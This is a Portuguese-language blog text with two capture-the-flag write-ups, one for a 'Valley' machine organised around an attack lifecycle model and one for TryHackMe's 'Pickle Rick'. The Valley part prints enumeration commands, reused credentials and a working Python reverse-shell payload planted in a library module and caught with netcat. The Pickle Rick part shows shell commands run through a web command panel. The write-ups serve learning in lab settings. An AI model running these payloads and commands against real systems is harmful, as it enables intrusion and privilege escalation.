É muito interessante como este modelo descreve, de maneira sucinta e bastante objetiva como um explorador executa seu respectivo ataque. Uma curiosidade pontuada é que um possível ataque não é único, assim como é tratado no livro do Ric Messier intitulado CEH v12 Certified Ethical Hacker Study Guide with 750 Practice Test Questions, ou seja, muito provavelmente o mesmo não irá com objetivo de realizar apenas um ataque e pronto, o one-and-done, mas sim a partir de um determinado ataque continuar buscando novas brechas. Neste processo iremos realizar a análise de etapa por etapa através da própria máquina juntamente com as definições.

Initial Recon

O Initial Recon (reconhecimento inicial) é justamente o momento em que buscamos informações sobre o alvo. Dessa maneira, quais informações podemos retirar sobre a vítima?

Aqui podemos ter algumas informações, a primeira é se tratando de uma empresa com foco em fotografias, a Valley Photo Co., uma aplicação web, que curiosamente é via HTTP, com isso já podemos tirar que os dados ali transmitidos não são criptografados, com isso podemos tentar buscar informações de possíveis dados sensíveis, além de possuir três rotas que são: /index.html, /gallery/gallery.html e /pricing/pricing.html.
O index.html nos trás as informações referentes a página principal da aplicação.
No gallery.html temos algumas imagens que fazem parte também da rota /static/ de armazenamento de arquivos e que vai "hipoteticamente" do 1 até até o 18.

Enquanto no /pricing.html temos as informações dos valores cobrados pela empresa Valley e informações em uma nota misteriosa se for digitado apenas o IP do alvo + rota /pricing e que informa sobre uma pessoa chamada RP que solicita a J para parar de deixar notas em lugares aleatórios do website. Essa informação deduz que provavelmente terá informações expostas sobre a aplicação em algum lugar e que para isso teremos que usar alguma ferramenta para encontrá-las.

Além disso, podemos presumir que a linguagem que está sendo executada nessa aplicação é Javascript em virtude do que foi visto no inspect da aplicação e no próprio html.

Ferramentas

Com a finalização de um reconhecimento inicial mais simples, buscando informações próprias no alvo, iremos partir para a utilização de ferramentas como dirb, ffuf, etc., que possam primeiramente verificar as rotas, ou seja, uma enumeração, para coletar informações sobre a aplicação, identificar as rotas que estão disponíveis, diretórios, qualquer informação oculta que possa contribuir no entendimento do alvo e formas de entrada para um ataque.

dirb http://alvo/ /usr/share/wordlists/dirb/common.txt
dirb http://alvo/pricing /usr/share/wordlists/dirb/common.txt
dirb http://alvo/gallery /usr/share/wordlists/dirb/common.txt


ffuf -w /usr/share/wordlists/dirb/common.txt -u http://alvo/FUZZ
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://alvo/pricing/FUZZ
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://alvo/gallery/FUZZ

A principal informação estará justamente na rota /static.

Aqui temos informações não muito usuais e que confirma a note.txt de que teríamos uma nota perdida em algum lugar e é justamente a rota /static/00 que possui essa nota. Alguns detalhes podem ser analisados aqui, primeiramente por serem tarefas destinadas a um dev da Valley e que foram solicitadas por outro com user ou referenciado por valleyDev. Dentre essas informações podemos tirar como principal o endereço de login /dev1243224123123, que não foi removido pela pessoa e consequentemente estaria no ar ainda.

Usando as próprias ferramentas do navegador, que é o inspect e a análise da rede podemos tirar mais duas rotas que confirmam a utilização de Javascript na aplicação. Se tentar usar as ferramentas anteriores terá dificuldade e provavelmente não irá setar essas rotas disponíveis.

Na rota /dev.js teremos um código bastante interessante:

const loginForm = document.getElementById("login-form");
const loginButton = document.getElementById("login-form-submit");
const loginErrorMsg = document.getElementById("login-error-msg");

loginForm.style.border = '2px solid #ccc';
loginForm.style.padding = '20px';
loginButton.style.backgroundColor = '#007bff';
loginButton.style.border = 'none';
loginButton.style.borderRadius = '5px';
loginButton.style.color = '#fff';
loginButton.style.cursor = 'pointer';
loginButton.style.padding = '10px';
loginButton.style.marginTop = '10px';


function isValidUsername(username) {

    if(username.length < 5) {

    console.log("Username is valid");

    }
    else {

    console.log("Invalid Username");

    }

}

function isValidPassword(password) {

    if(password.length < 7) {

        console.log("Password is valid");

        }
        else {

        console.log("Invalid Password");

        }

}

function showErrorMessage(element, message) {
  const error = element.parentElement.querySelector('.error');
  error.textContent = message;
  error.style.display = 'block';
}

loginButton.addEventListener("click", (e) => {
    e.preventDefault();
    const username = loginForm.username.value;
    const password = loginForm.password.value;

    if (username === "siemDev" && password === "california") {
        window.location.href = "/dev1243224123123/devNotes37370.txt";
    } else {
        loginErrorMsg.style.opacity = 1;
    }
})

Neste caso, temos a estilização do botão de login, uma função de validação de username mostrando as características necessárias para o username ser válido, sendo menor do que 5 caracteres e o campo de senha, no caso o password que realiza a validação da senha, neste se faz necessário uma senha com menos de 7 caracteres para ser válido. Entretanto, a informação mais importante é a exposição do username siemDev e senha california, além de mais uma nota deixada de forma aleatória pelo dev da Valley em um arquivo de texto /dev1243224123123/devNotes37370.txt.

No /button.js temos a animação e estilização do botão login.

const button = document.getElementById("homeButton"); // Get the button element
let isAnimating = false; // Set initial animation state

button.addEventListener("click", function() {
  if (!isAnimating) {
    isAnimating = true; // Set animation state to true
    button.style.transform = "scale(1.2)"; // Animate button size
    button.style.opacity = 0.5; // Animate button opacity
    setTimeout(function() {
      button.style.transform = "scale(1)"; // Reset button size
      button.style.opacity = 1; // Reset button opacity
      isAnimating = false; // Set animation state back to false
    }, 1000); // Animation duration in milliseconds
  }
  window.location.href = "/index.html";
});

Voltando para as informações mais importantes, no caminho /dev1243224123123/devNotes37370.txt se tem mais uma ideia do primeiro caminho a ser tomado e uma etapa bem importante.

O primeiro ponto é que essa pessoa costuma reusar as credenciais, a única credencial que foi capturada é a siemDev e isso significa que a mesma serve para a porta ftp dessa aplicação. No entanto, não se sabe qual seria a porta ftp, apesar da nota setar para essa possível resposta por não estar em seu "valor" usual, para isso o nmap se faz necessário para tentar localizá-la e também verificar as outras portas disponíveis.

nmap -v -p- alvo

A porta ftp é justamente a porta 37370, informada para o dev e que está referenciada na nota da rota /devNotes37370.txt . Com isso, apenas se faz necessário nesse momento realizar a conexão e adentrar a próxima etapa do ciclo do ataque.

Initial Compromise e Establish Foothold

A partir do momento em que o invasor realiza esse tipo de ação e consegue o feito de obter acesso ao ftp, já temos ali um initial compromise (comprometimento inicial) da aplicação, ainda que não seja o objetivo ideal é justamente a partir desse princípio que terá a possibilidade de realizar uma elevação de privilégios por exemplo. Quando se pensa na etapa do establish foothold (estabelecimento do ponto de apoio) é necessário algo que mantenha esse acesso. Nessa máquina em questão, a manutenção desse acesso se deu pela captura de pacotes de tráfego da rede, realizando a filtragem e análise desses pacotes com Wireshark ou tcpdump, em busca de credenciais que possam preservar esse acesso.

ftp [ip] [port]
ftp 00.00.000.00 37370

Agora a questão é o que se tem ali e o que pode ser verificado? algo que possa ir contribuindo para o ciclo de ataque do intruso? Exatamente os pacotes de captura de tráfego, na porta ftp.

E o que foi feito no terminal acima? Primeiramente, a conexão com ftp, colocando as credenciais que foram adquiridas, usando o comando ls para verificar os arquivos ali presentes e por fim o comando mget * para capturar esses arquivos do ftp para a própria máquina, podendo assim realizar uma analisa melhor desses pacotes. Caso tenha interesse, nesse site possui informações sobre os comandos básicos do ftp.

Wireshark

(http.request or tls.handshake.type eq 1) and !(ssdp)   

(http.request or tls.handshake.type eq 1 or (tcp.flags.syn eq 1 and tcp.flags.ack eq 0)) and !(ssdp)

(http.request or tls.handshake.type eq 1 or (tcp.flags.syn eq 1 and tcp.flags.ack eq 0) or dns) and !(ssdp)

De forma bem breve, não explicando de maneira mais aprofundada sobre o assunto, a ideia aqui são as filtragens para visualizar melhor os arquivos capturados na porta ftp, que foi retirado de um site indicado por um grande colega. O (http.request or tls.handshake.type eq 1) and !(ssdp) realiza a filtragem quanto a requisições de web (HTTP), e início de conexões seguras (TLS), mas ignorando os pacotes de dispositivos SSDP, (http.request or tls.handshake.type eq 1 or (tcp.flags.syn eq 1 and tcp.flags.ack eq 0)) and !(ssdp) realiza a filtragem incluindo os mesmos do primeiro, mas com a diferença de incluir conexões TCP que estão tentando ser abertas (os pacotes SYN), mas sem o ACK. Quanto ao (http.request or tls.handshake.type eq 1 or (tcp.flags.syn eq 1 and tcp.flags.ack eq 0) or dns) and !(ssdp) inclui pacotes que envolvam o dns. Com isso temos a objetividade do que vamos analisar no tráfego e poder visualizar melhor a conversa entre os dispositivos de uma rede.

No arquivo siemFTP.pcapng:

siemHTTP2.pcapng:

Foram obtidos dois conteúdos interessantes, o primeiro é o anonymous, que é um login público e que quando um servidor ftp permite esse acesso anônimo, o usuário pode conectar sem precisar de um nome de usuário ou senha, mas infelizmente essa possibilidade não foi concretizada, pois esse acesso anônimo foi desabilitado.

O segundo conteúdo é usuário valleyDev e senha ph0t0s1234, no entanto se você tentar acessá-lo na dinâmica de porta ftp irá receber um erro, em virtude de um mecanismo de segurança que impede esse acesso a este determinado usuário. A questão que fica é será que não existe outro lugar para efetuar esse login? Se voltarmos a varredura de portas, lembraremos que a porta 22 do ssh está aberta.

Por se tratar de uma porta ssh, o mesmo necessita de um login e senha. É através dessa porta que será feita a primeira escalada de privilégio, com as credenciais obtidas através da análise dos pacotes anteriores.

Escalate Privileges

O escalate privileges (elevação de privilégios) se deu por todo um processo de coleta de informações, com isso tendo as filtragens corretas e que fossem possíveis esse comprometimento maior da aplicação. A ideia a partir daqui é conseguir chegar até a raiz e no primeiro contato com a porta ssh, já teremos a primeira flag, no arquivo user.txt, com a ajuda do usuário valleyDev.

Após esse primeiro contato poderia se pensar que a missão estaria finalizada para um possível invasor, porém a ideia é pensar no quanto é possível extrair das informações ali presentes e como efetivar essa escalada de privilégios até chegar no "super Admin" e ter acesso total.

Internal Recon

Antes de pensar em outro processo de elevação desses privilégios, é importante ressaltar sobre a varredura das portas feita anteriormente e em como será a dinâmica nesse contexto, além de análise de usuários, etc.

O serviço ssh dessa aplicação usa como sistema operacional o Linux.

Durante esse processo de initial recon (reconhecimento interno) e funcionamento do serviço se pode pensar sobre a questão dos usuários presentes no serviço e um bastante curioso é o usuário valley, que se tornará a ponte até o o root.

Existem dois pontos importantes dessa análise, o primeiro é o arquivo executável valleyAuthenticator, que foi compactado usando o upx. Esse é o ponto de partida para conseguir um usuário com um pouco mais de permissão.

O segundo é o diretório /usr/lib/python3.8/, nele contém bibliotecas e módulos python. A partir dele podemos pensar em usar um reverse shell e tentar acesso ao root, mas para isso precisamos verificar um usuário que possa dar permissões adicionais que o usuário valleyDev não pode oferecer, para pelo menos editar algum arquivo .py vinculado a um super usuário que dê esse acesso final a raiz.

Move laterally e Maintain Presence

A ideia do move laterally (movimentação lateral ) e maintain presence (manter presença) se dá pelo objetivo de conseguir um novo usuário que terá as permissões necessárias para chegar no objetivo final e esse processo se inicia na decodificação do valleyAuthenticator. A movimentação parte da exploração e comprometimento de outros sistemas na mesma rede ou infraestrutura, além do sistema atual que já possui o acesso, porém nesse contexto da máquina, o fato de obter um novo usuário que tenha certos privilégios acaba sendo esse movimento lateral, pois o mesmo terá recursos que o usuário valley não possuía. Enquanto a etapa de manter presença é justamente garantir esse acesso que se tem ao sistema comprometido e manter essa continuidade de ataque e até mesmo retorno ao sistema sem ter suas atividades finalizadas ou possibilidade de ser detectado.

Nesse caso precisamos conseguir trazer o arquivo valleyAuthenticator para a própria máquina e realizar a análise com a ferramenta upx e visualizar melhor o que será entregue e se existe algum tipo de informação que possa contribuir nessa etapa.
Para realizar esse processo a utilização do comando pytho3 -m http.server porta, se faz necessário para que seja iniciado um servidor web bem simples com python e consiga capturar arquivos para própria máquina que está no serviço ssh.

Terminal 1
python3 -m http.server [porta de sua escolha]

Terminal 2
wget http://ip:porta/valleyAUthenticator

Depois de baixar o arquivo diretamente para a máquina é necessário decodificá-lo primeiro usando a ferramenta upx e após isso ler com o comando strings.

upx -d arquivo
strings arquivo

Após isso, se tem a busca de informações através do autenticador da valley, quanto a um usuário, algo codificado ou encriptado e que possa ser efetivado o encontro do valor original. A informação necessária se encontra no início de uma autenticação que ficou registrada nesse arquivo, e usando um hash analyzer, pode ser obtida a informação de que é uma hash MD5. Por fim, apenas é realizada a descoberta do valor original das duas hashes, que são a senha e o usuário.

Com sucesso foi obtido o usuário com permissões um pouco melhores do que a do valleyDev, o usuário valley e mais uma elevação de privilégios.

O objetivo maior agora é conseguir chegar até a raiz e acessar a última flag. Ao observar novamente o diretório do python3.8 em /usr/lib/python3.8, o arquivo base64.py do usuário valleyAdmin se encontra mais acessível. Com o usuário valley, esse arquivo pode ser modificado e usado como ponte para realizar a última escalada de privilégios.

O movimento a ser feito é fazer com que o módulo base64.py ao ser solicitado terá um payload de reverse shell, que ao ser executado na primeira fileira de código enviará uma conexão de entrada em uma porta específica e retornará no terminal essa conexão, com uma interface de linha de comando (terminal) e com isso a interação com o sistema operacional da aplicação web.

nano base64.py

#!/usr/bin/python3  

import socket  
import os  
from os import dup2  
from subprocess import run  

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect(("ip", 3000))  
os.dup2(s.fileno(), 0)  
os.dup2(s.fileno(),1)  
os.dup2(s.fileno(),2)  
run(["/bin/bash", "-i"])

------ restante do código ------

Final Escalation Privileges e Complete Mission

A elevação de privilégios desse contexto se finaliza assim que o o netcat escuta na porta 3000 e recebe a conexão de entrada feita a partir do arquivo base64.py.

nc -lvnp 3000

o arquivo final se encontra no root.txt e ao utilizar o whoami, o mesmo confirma estar na raíz da aplicação. Portanto, a missão e objetivo final foi completado pelo invasor. Entretanto, parte da perspectiva da máquina valley, mas aqui poderia ser novamente mais um ciclo de ataques e busca por dados sensíveis, qualquer informação que seja pertinente. Este é o fim, por causa das flags, mas seria o fim de um ataque real? Como agir nesse contexto, em quais etapas seria interessante visualizar soluções e formas de conter esse ataque maior e mais severo? É claro que esse contexto é bem mais simples e não tão complexo quanto em um cenário real.

Considerações finais

A máquina valley trouxe base para o entendimento do modelo attack lifecycle, que caso seja de interesse do leitor, tem um pouco do livro A arte da guerra de Sun Tzu. A informação é um fator crucial e muito importante, assim como no campo de batalha, não seria diferente em um possível ataque cibernético, no princípio desde o reconhecimento inicial, construindo todas as informações que poderiam ser extraídas naquele contexto sobre o alvo, o comprometimento a partir de uma credencial exposta em uma rota e sendo o ponta pé inicial de invasão e o estabelecimento da conexão, onde será mantido o acesso àquele servidor. A elevação de privilégios, essa etapa voltou em diversos momentos para que culminasse no objetivo final, ou seja, o invasor não pensa em um só ataque e pronto, não é algo unilateral, parte também da perspectiva de possibilidades que terá a seu favor. Então, as questões ali em conjunto com os privilégios, como o reconhecimento pós uma "melhora" no acesso, a movimentação lateral de tentar mais um usuário que dê a possibilidade de injetar um payload de reverse shell em um módulo python, a manutenção para firmar essa presença nessa aplicação e mais uma escalada desses privilégios até o encontro da ultima flag na raiz.
Logo, assim como a água não ser constante, Heráclito de Éfeso diz que você não toma banho duas vezes no mesmo rio, porque esse mesmo rio já passou, se encontra no passado e você já não é o mesmo de ontem. É importante pensar nessa construção de probabilidades de um atacante, de construir e entender o contexto daquilo, porque partir dessa análise mais aberta contribui para uma forma mais clara e objetiva de estacar ou conter um ciberataque. O modelo é um norte, não sendo tudo ali elaborado exatamente daquele jeito, mas pode ser uma referência para guiar nesse processo.

Referências bibliográficas

TZU, Sun. A arte da guerra. Tradução de André da Silva Bueno. 2. ed. São Paulo: Editora UNESP, 2009.
MESSIER, Ric. Certified Ethical Hacker (CEH) v11: Study Guide. 2. ed. Sybex, 2021.

Desafio Pickle Rick - TryHackMe

Obtuosa — Fri, 30 Aug 2024 23:45:01 +0000

Este texto tem como objetivo apresentar a forma como eu, Obtuosa, uma jovem iniciante em cibersegurança, resolvi o desafio com tema de Rick e Morty intitulado Pickle Rick, da plataforma TryHackMe, em um servidor da Web, no qual a finalidade é encontrar três ingredientes que possam ajudar o famoso personagem Rick, da série animada Rick e Morty, a produzir uma poção que o transforme novamente em humano, pois o mesmo se encontra transformado em um picles e sendo o conhecidíssimo Pickle Rick!

Introdução

Antes de começarmos o processo quanto a máquina Pickle Rick, é importante ressaltar algumas informações, mesmo que breves sobre o que seria o TryHackMe e as famosas máquinas de hacking (Hacking Machines).

TryHackMe é uma plataforma online, no qual o objetivo central é lhe ajudar a aprender sobre cibersegurança, usando exercícios práticos e "laboratórios", tudo isso pelo navegador.
Máquinas de hacking ou as famosas Hacking machines são os ambientes virtuais utilizados pelos usuários, para aprimorar suas habilidades em hacking e entendimento na área de cibersegurança. Nelas é possível participar de cenários de ataques e também vulnerabilidades, em que os usuários possam usar de seu conhecimento e técnicas de exploração, de maneira principalmente legal e segura. Logo, o desafio Pickle Rick é justamente uma máquina de hacking, com foco em buscar vulnerabilidades até seu propósito final.

Reconhecimento

Após essas breves informações definidas, será feita a trajetória que salvou Rick!

Ao adentrar a tela de desafio, uma das ações que foram realizadas foi justamente a inspeção no código e verificar a forma com que o HTML do alvo estava estruturado e logo de cara tivemos o acesso a informação sobre o username do Rick, no final do código, em formato de comentário.

Com isso, foi traçado os principais objetivos nesse primeiro momento, tendo em vista que o username na inspeção do html significaria que teríamos uma tela de login e a necessidade de uma senha para efetivar por completo esse acesso ao alvo. Entretanto, ao tentar encontrar a tela de login em um primeiro momento, não foi realizado com tanta facilidade e um dos principais focos foi justamente buscar essa tela de login e principalmente, entender qual a linguagem de programação que estaria realizando as funcionalidades deste site.

Deste modo, decorreu a busca de informações sobre qual seria essa linguagem por trás dos panos e uma das ideias foi justamente a utilização do comando curl.

O alvo utiliza Ubuntu para rodar o servidor Web Apache. Porém, não foi possível obter uma informação mais precisa sobre qual seria a linguagem utilizada pelo alvo através do curl. Deste modo, o head do próprio html do site possuía o diretório /assets/, que tem como foco o armazenamento de mídia, fontes, etc., de um site ou aplicação web.

Apesar das informações presentes, não foi possível encontrar (sob o olhar de uma pessoa que está iniciando) informações referentes a linguagem usada.
A forma operada logicamente foi justamente introduzir .php no final e com isso o acesso a tela de /login.php. Isso foi puramente achismo, tendo em vista que utilizar uma ferramenta de busca de diretórios tornaria o processo mais prático, porém, o objetivo aqui é tentar realizar manualmente e aprimorar as noções no decorrer, sem depender de ferramentas para isso.

Com a confirmação de que usam PHP e para além disso, o acesso ao diretório /login.php. Entretanto, faltava a senha e se tem o diretório /assets, poderia também ter o /robots.txt, que gerencia quais diretórios podem ser vasculhados em um respectivo site. A senha do R1ckRul3s estava justamente no /robots.txt.

Exploração

A tela inicial após o login tem um painel de comandos, e a informação anterior de que o servidor rodava em Ubuntu trouxe a conclusão de que podemos usar os próprios comandos do terminal e além disso, ter acesso aos diretórios completos do alvo. No inspecionar desta tela, tem uma dica interessante, uma frase codificada em Base64, no comentário do html.

O comando ls lista os arquivos e os diretórios, além do comando cd para navegar entre os diretórios do terminal.

O primeiro ingrediente é localizado usando ls, no painel de comando e é intitulado Sup3rS3cretPickl3Ingred.txt. Como dica para você, caso tenha interesse, é que pode ser usado tanto o pwd para localizar o diretório atual em conjunto com o less para ler o arquivo txt, quanto também digitar diretamente no URL, que terá a resposta do primeiro ingrediente. Lembrando que "hipoteticamente" o comando cat está desabilitado, junto com o nano, vim, more, etc.

ls -la
total 40
drwxr-xr-x 3 root   root   4096 Feb 10  2019 .
drwxr-xr-x 3 root   root   4096 Feb 10  2019 ..
-rwxr-xr-x 1 ubuntu ubuntu   17 Feb 10  2019 Sup3rS3cretPickl3Ingred.txt
drwxrwxr-x 2 ubuntu ubuntu 4096 Feb 10  2019 assets
-rwxr-xr-x 1 ubuntu ubuntu   54 Feb 10  2019 clue.txt
-rwxr-xr-x 1 ubuntu ubuntu 1105 Feb 10  2019 denied.php
-rwxrwxrwx 1 ubuntu ubuntu 1062 Feb 10  2019 index.html
-rwxr-xr-x 1 ubuntu ubuntu 1438 Feb 10  2019 login.php
-rwxr-xr-x 1 ubuntu ubuntu 2044 Feb 10  2019 portal.php
-rwxr-xr-x 1 ubuntu ubuntu   17 Feb 10  2019 robots.txt

Nota: Caso você tente acessar outras opções do menu, além do Commands, terá seu acesso negado, por não ser o verdadeiro Rick.

O segundo ingrediente é um pouco mais difícil de localizar, pois para ter acesso é necessário averiguar os diretórios e subdiretórios. Neste caso, a dica que pode ser dada é a combinação dos comandos cd e ls, para que você tenha acesso a listagem de arquivos e diretórios. Lembra da dica da frase da tela inicial, que estava codificada em Base64? É exatamente esse o pensamento, explorar o máximo de diretórios possíveis. Caso continue tendo dificuldades, a dica maior é focar no diretório /home, pois é lá que estará a resposta.

cd ../../../home/rick;ls -la
second ingredients

Nota: Como acessar um arquivo com espaços? pode ser usando o próprio less com aspas ou com barra invertida.

Por fim e não menos importante, o terceiro ingrediente se encontra em um arquivo oculto em um dos perfis, por isso é interessante usar o comando -ls juntamente com o -a, para ter acesso a arquivos ocultos. Este arquivo contém os registros dos comandos que o usuário utilizou no terminal, ou seja, de acordo com o perfil terá o acesso aos comandos executados e consequentemente o último ingrediente.

cd ../../../home/ubuntu;ls -la
total 44
drwxr-xr-x 5 ubuntu ubuntu 4096 Jul 11 10:37 .
drwxr-xr-x 4 root   root   4096 Feb 10  2019 ..
-rw------- 1 ubuntu ubuntu  769 Jul 11 11:18 .bash_history
-rw-r--r-- 1 ubuntu ubuntu  220 Aug 31  2015 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu 3771 Aug 31  2015 .bashrc
drwx------ 3 ubuntu ubuntu 4096 Jul 11 10:39 .cache
drwx------ 3 ubuntu ubuntu 4096 Jul 11 10:37 .gnupg
-rw-r--r-- 1 ubuntu ubuntu  655 May 16  2017 .profile
drwx------ 2 ubuntu ubuntu 4096 Feb 10  2019 .ssh
-rw-r--r-- 1 ubuntu ubuntu    0 Feb 10  2019 .sudo_as_admin_successful
-rw------- 1 ubuntu ubuntu 4267 Feb 10  2019 .viminfo

Nota: Para acessar o arquivo oculto, é importante usar o sudo para ter acesso privilegiado junto com o less.

Conclusão

Portanto, através da máquina Pickle Rick foi possível compreender um pouco mais sobre a estrutura do html e um pouco sobre PHP, alguns diretórios que são comuns de encontrar como o /assets e o próprio /robots.txt. Para além disso, noções referentes aos comandos linux como cd, ls, less, pwd, etc. Por consequência, ter um olhar mais prático sobre web hacking, tendo em vista que é de suma importância compreender as bases de conhecimento em cibersegurança para conseguir realizar o desafio. As informações contidas aqui são apenas uma das formas possíveis de resolver o problema, tem muitas outras possbilidades e você também pode ter a sua, não se apegue apenas a uma perspectiva e caso você queira pontuar sobre algo, trazer sua forma de resolução, debater sobre algo ou alguma afirmação equivocada da minha parte, sinta-se a vontade, estamos aqui para somar e aprender. Lembre-se, a educação é a maior fonte de transformação, não desista!